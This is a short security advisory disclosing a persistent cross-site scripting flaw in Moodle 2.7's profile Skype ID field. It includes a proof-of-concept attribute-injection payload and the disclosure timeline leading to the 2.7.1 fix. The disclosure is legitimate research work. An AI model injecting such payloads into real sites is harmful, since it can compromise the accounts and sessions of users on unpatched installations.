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Moodle 2.7 Persistent XSS

Author: Osanda Malith Jayathissa , Published: 25-07-2014
Title: Moodle 2.7 Persistent XSS
Vendor: https://moodle.org/
Moodle advisory: https://moodle.org/mod/forum/discuss.php?d=264265
Researched by: Osanda Malith Jayathissa (@OsandaMalith)
E-Mail: osanda[cat]unseen.is
Original write-up: http://osandamalith.wordpress.com/2014/07/25/moodle-2-7-persistent-xss/

[-] POC

1. Edit your profile
2. Click Optional
3. In Skype ID field inject this payload

x" onload="prompt('XSS by Osanda')">"

[-] Disclosure Timeline

2014-05-24: Responsibly disclosed to the Vendor
2014-05-27: Suggested a fix
2014-06-04: Fix got accepted
2014-07-21: Vendor releases a security announcement
2014-07-24: Released Moodle 2.7.1 stable with all patches

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